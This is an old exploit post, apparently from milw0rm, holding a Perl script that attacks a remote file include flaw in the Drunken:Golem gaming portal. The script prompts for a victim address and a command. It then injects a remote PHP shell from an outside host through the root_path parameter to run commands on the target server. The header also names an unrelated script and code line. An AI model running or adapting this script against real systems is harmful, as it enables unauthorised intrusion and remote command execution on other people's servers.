Drunken:Golem Portal 0.5.1 Alpha 2 Remote File Include Exploit :

Date : 2007-01-27 Author : MackRulZ
#(C) MackRulZ - 2007
#
# [Bug name: Drunken:Golem Gaming Portal (root_path) Remote File Include Exploit
#
# [Script Name: Xero Portal v1.2
#
# [Wrong Codes:  require($phpbb_root_path . 'includes/bbcode.'.$phpEx);
#
$rfi = "phpIRC.php?root_path="; 
$path = "/include/irc/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish
Plz Select Lang:
"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) Mackrulz
";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan MackruLz
";
&ex;
}
else {print "Plz Select Languge
"; exit;}
sub ex{
$not = "Victim is Not Vunl.
" and $not_cmd = "Victim is Vunl but Not doing Exec.
"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok
" and $not_cmd = "Adresde Ac.k Var Fakat Kod Calismiyor
"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) Mackrulz
$thx: xoron
";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-01-27]

C1

 

C2

 

C3